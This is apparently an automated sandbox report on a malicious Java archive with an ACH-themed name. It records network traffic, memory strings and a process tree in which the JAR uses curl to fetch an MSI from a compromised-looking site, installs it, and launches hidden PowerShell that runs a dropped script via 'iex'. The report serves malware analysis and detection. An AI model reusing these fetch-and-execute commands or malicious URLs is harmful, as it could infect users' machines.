Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:30 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:37 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:43 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:50 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:57 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:03 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:11 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:17 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:24 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:38 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:45 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:51 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:49:58 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found

Source: sjm.19.dr	String found in binary or memory: http://64.95.10.191/
Source: java.exe, 00000002.00000002.1439346877.00000000097F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/
Source: java.exe, 00000002.00000002.1436738305.000000000472C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugreport.sun.com/bugreport/k
Source: java.exe, 00000002.00000002.1439346877.0000000009750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.oracle.com/
Source: Y49AzuUN.class	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi
Source: java.exe, 00000002.00000002.1436738305.000000000460B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC
Source: java.exe, 00000002.00000002.1440388947.0000000014D13000.00000004.00000020.00020000.00000000.sdmp, java.exe, 00000002.00000003.1323029932.0000000014D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC:
Source: java.exe, 00000002.00000002.1436738305.000000000460B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiS
Source: curl.exe, 0000000B.00000002.1286661864.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1286780766.0000000002C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiWinSta0
Source: java.exe, 00000002.00000002.1440388947.0000000014D13000.00000004.00000020.00020000.00000000.sdmp, java.exe, 00000002.00000003.1323029932.0000000014D13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiXq
Source: curl.exe, 0000000B.00000002.1286661864.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1286780766.0000000002C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msicurl.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 172.67.168.231:443 -> 192.168.2.9:49708 version: TLS 1.2

Source: PING.EXE

Process created: 46

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\46f335.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5388A5D6-8B37-4242-B64C-4D72F236B407}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF45E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\46f337.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\46f337.msi	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\46f337.msi

Jump to behavior

Source: classification engine

Classification label: mal52.troj.expl.winJAR@115/28@1/3

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLF49C.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5860:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1592:120:WilError_03

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

File created: C:\Users\user\AppData\Local\Temp\hsperfdata_user

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"" >> C:\cmdlinestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe "C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c C:\downloads\aHPCrYM1.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\downloads\aHPCrYM1.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe "C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c C:\downloads\aHPCrYM1.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\downloads\aHPCrYM1.msi"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
